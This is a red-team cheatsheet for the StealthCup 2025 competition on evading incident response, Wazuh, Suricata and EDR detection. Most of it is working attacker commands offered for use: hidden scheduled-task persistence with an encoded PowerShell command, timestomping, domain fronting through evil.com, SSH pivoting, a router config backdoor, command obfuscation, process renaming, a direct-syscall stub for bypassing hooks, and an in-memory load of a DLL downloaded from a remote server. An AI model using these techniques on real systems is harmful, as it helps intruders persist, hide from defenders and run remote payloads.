StealthCup 2025: Incident Response Evasion Cheatsheet

This cheatsheet focuses on techniques to evade incident response activities that might occur during the competition. Understanding how defenders respond to incidents helps maintain access and complete objectives even if initial activities are detected, while minimizing the overall alert score.

1. Understanding Incident Response Processes

- **Common IR Phases**:
  - Detection and Analysis
  - Containment
  - Eradication
  - Recovery
  - Post-Incident Activity
- **Typical Response Actions**:
  - Network isolation of compromised hosts
  - Memory acquisition and analysis
  - Log collection and review
  - Blocking of IOCs
  - Credential rotation

2. Detection Evasion Techniques

- **Log Minimization** (without deletion - per rules):
  - Perform actions that generate minimal logs
  - Use built-in tools that don't create additional logging
  - **Example**:

```
# Instead of using external tools that generate logs
# Use built-in commands that generate minimal logs
find / -name "*.conf" -type f -mtime -7 2>/dev/null
```

  - **Evasion Tip**: Rule 16 forbids deleting logs, so focus on actions that generate fewer logs in the first place.
- **Memory Artifact Minimization**:
  - Use direct syscalls to avoid API hooking
  - Encrypt strings and payloads in memory
  - Periodically clear sensitive data from memory
  - **Example (PowerShell)**:

```
# Clear variables containing sensitive data
$password = "SuperSecret"
# Use the variable
# Then clear it
$password = $null
[System.GC]::Collect()
```

- **Evasion Tip**: Minimizing memory artifacts reduces the chance of detection during memory forensics.

- **Signature Avoidance**:
  - Modify known tools to avoid signature detection
  - Use uncommon techniques rather than well-known ones
  - **Example (Modifying PowerShell Scripts)**:

```
# Instead of using known function names
function Get-DomainUser { ... }

# Use alternative names
function Find-EmployeeRecord { ... }
```

  - **Evasion Tip**: Many detection systems rely on signatures of known malicious tools and techniques.

3. Containment Evasion

- **Minimal Footprint Communication**:
  - Use existing legitimate channels when possible
  - Minimize the number of connections
  - **Example**:

```
# Instead of establishing new connections
# Piggyback on existing ones when possible
# Use infrequent, short communications
```

  - **Evasion Tip**: Fewer connections mean fewer opportunities for detection and containment.

- **Network Segmentation Bypass**:
  - Identify dual-homed hosts
  - Use protocol tunneling through allowed services
  - **Example**:

```
# SSH tunneling through allowed ports
ssh -D 8080 user@pivot_host -p 443
# Then configure tools to use SOCKS proxy on localhost:8080
```

- **Evasion Tip**: Understanding network topology helps identify paths around segmentation.

- **Avoiding Network Indicators**:
  - Use legitimate domains as proxies
  - Blend C2 traffic with normal business traffic
  - **Example (Domain Fronting)**:

```
# Use a high-reputation domain as a front
curl -s -H "Host: evil.com" https://legitimate-cdn.com/
```

  - **Evasion Tip**: Traffic to legitimate domains is less likely to be blocked.

4. Eradication Evasion

- **Minimal Persistence**:
  - Use a single, reliable persistence mechanism instead of multiple noisy ones
  - Choose persistence methods that blend with legitimate system behavior
  - **Example (Windows)**:

```
# Instead of multiple persistence mechanisms
# Use a single, well-hidden one that mimics legitimate software
$trigger = New-ScheduledTaskTrigger -AtLogOn
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument
"-WindowStyle Hidden -Command 'legitimate-looking-command'"
Register-ScheduledTask -TaskName "Software Update Check" -Trigger
$trigger -Action $action -Description "Checks for software updates"
```

  - **Evasion Tip**: Quality over quantity - one well-implemented persistence mechanism is better than multiple detectable ones.

- **Anti-Forensics Techniques**:
  - Timestomping (modify file timestamps)
  - Minimize artifacts on disk
  - **Example (Linux)**:

```
# Match timestamps with legitimate file
touch -r /etc/passwd /tmp/malicious_file
```

    - **Evasion Tip**: Forensic analysis often relies on file metadata.

- **Living Off The Land**:
    - Use built-in system tools instead of custom malware
    - Leverage legitimate administrative tools
    - **Example**:

```
# Instead of custom backdoor, use built-in tools
schtasks /create /tn "System Maintenance" /tr "powershell -e
BASE64_ENCODED_COMMAND" /sc daily /st 14:00
```

    - **Evasion Tip**: Built-in tools are less likely to be flagged as malicious.

5. Recovery Evasion

- **Credential Access Minimization**:
    - Use existing tokens/sessions when possible
    - Avoid creating new credentials unless necessary
    - **Example**:

```
# Instead of creating new accounts
# Use existing service accounts or tokens
```

    - **Evasion Tip**: New account creation is often monitored during incident response.

- **Minimal Privilege Operations**:
    - Operate with the minimum necessary privileges
    - Avoid unnecessary privilege escalation
    - **Example**:

```
# Only escalate privileges when absolutely necessary
# Return to lower privileges when done
```

    - **Evasion Tip**: Privilege escalation is heavily monitored during incident response.

- **Golden Image Evasion**:
    - Identify systems that won't be reimaged
    - Target network devices and appliances
    - **Example**:

```

```

```
# Target network devices instead of endpoints
ssh admin@router "echo 'backdoor' >> /etc/config"
```

- **Evasion Tip**: During recovery, endpoints are often reimaged, but network devices may only have configurations reset.

6. Wazuh-Specific Evasion

The competition uses Wazuh as a HIDS/SIEM. Understanding its detection mechanisms helps evade it.

- **File Integrity Monitoring (FIM) Evasion**:
  - Identify monitored directories
  - Operate in unmonitored locations
  - **Example**:

```
# Use temporary directories or memory-only operations
cd /dev/shm
# Or use less commonly monitored directories
cd /var/tmp
```

  - **Evasion Tip**: Wazuh typically monitors specific directories. Operating elsewhere reduces FIM alerts.

- **Command Execution Evasion**:
  - Obfuscate command lines
  - Use environment variables and indirect execution
  - **Example**:

```
# Instead of direct command
cat /etc/passwd

# Use environment variables
export a=cat
export b=/etc/passwd
$a $b
```

  - **Evasion Tip**: Wazuh often uses regex patterns to detect suspicious commands.

- **Process Monitoring Evasion**:
  - Rename suspicious processes
  - Use legitimate parent processes
  - **Example**:

```
```

```
# Instead of running tool directly
cp suspicious_tool legitimate_name
./legitimate_name
```

- **Evasion Tip**: Process name and parent-child relationships are often used for detection.

7. Suricata-Specific Evasion

The competition uses Suricata as a NIDS. Understanding its detection mechanisms helps evade it.

- **Signature Evasion**:
  - Fragment traffic to avoid pattern matching
  - Encrypt or encode payloads
  - **Example**:

```
# Use fragmented packets
nmap -f <target>

# Use encrypted channels
ssh -D 8080 user@pivot_host
```

  - **Evasion Tip**: Suricata relies heavily on signature matching for known attack patterns.
- **Protocol Anomaly Evasion**:
  - Ensure protocol compliance
  - Use standard ports for protocols
  - **Example**:

```
# Use standard HTTP headers
curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
http://<target>
```

  - **Evasion Tip**: Protocol anomalies often trigger alerts in Suricata.
- **Traffic Pattern Evasion**:
  - Avoid high-volume traffic
  - Space out connections
  - **Example**:

```
# Instead of rapid connections
for i in {1..10}; do
  curl http://<target>/resource$i
```

```
  sleep 30
done
```

- **Evasion Tip**: Unusual traffic patterns can trigger threshold-based alerts.

8. Commercial EDR Evasion

The competition includes a commercial EDR solution. These typically have more sophisticated detection capabilities.

- **EDR Hooking Evasion**:
  - Use direct system calls to bypass user-mode hooks
  - **Example (Simplified Concept)**:

```
// Direct syscall implementation
__asm__ (
    "mov r10, rcx \n"
    "mov eax, <syscall_number> \n"
    "syscall \n"
    "ret \n"
);
```

  - **Evasion Tip**: Many EDRs hook user-mode API functions but don't intercept direct syscalls.
- **Process Injection Refinements**:
  - Use less-monitored injection techniques
  - Target processes that are expected to have unusual behavior
  - **Example**:

```
# Target processes that normally load many DLLs
# Like browsers or development environments
```

  - **Evasion Tip**: Some processes are expected to have dynamic behavior and may be less monitored.
- **In-Memory Operations**:
  - Minimize disk operations
  - Use reflective loading techniques
  - **Example**:

```
# Load .NET assembly directly in memory
$bytes = (New-Object
System.Net.WebClient).DownloadData('http://<server>/payload.dll')
[System.Reflection.Assembly]::Load($bytes)
```

- **Evasion Tip**: Many EDRs focus heavily on disk-based indicators.

9. IR Evasion Decision Matrix

IR Phase	Evasion Technique	Detection Risk	Effectiveness
Detection	Memory artifact minimization	Low	High
Detection	Signature avoidance	Medium	High
Containment	Minimal footprint communication	Low	Medium
Containment	Network segmentation bypass	High	Medium
Eradication	Minimal persistence	Low	High
Eradication	Anti-forensics	Medium	Medium
Recovery	Credential access minimization	Low	High
Recovery	Minimal privilege operations	Low	Medium

10. Balancing Evasion with Score Impact

Every evasion technique has a potential alert cost. Consider these tradeoffs:

- **High-Value Techniques**: Techniques that significantly reduce detection probability but may generate some alerts
  - Example: Process injection may trigger a few medium alerts but prevent many high/critical alerts
- **Low-Risk Techniques**: Techniques that generate minimal alerts but provide less evasion benefit
  - Example: Using built-in tools generates fewer alerts but may be less effective
- **Technique Selection Strategy**:
  1. Start with completely passive/zero-alert techniques
  2. Add low-risk techniques only when necessary
  3. Reserve high-value techniques for critical operations
  4. Always consider the score impact using the Scoring System Cheatsheet

Remember: The competition rules explicitly forbid deleting logs or command history. Focus on generating fewer suspicious logs rather than removing them.

Always cross-reference with the Alert Evasion Cheatsheet and Scoring System Cheatsheet.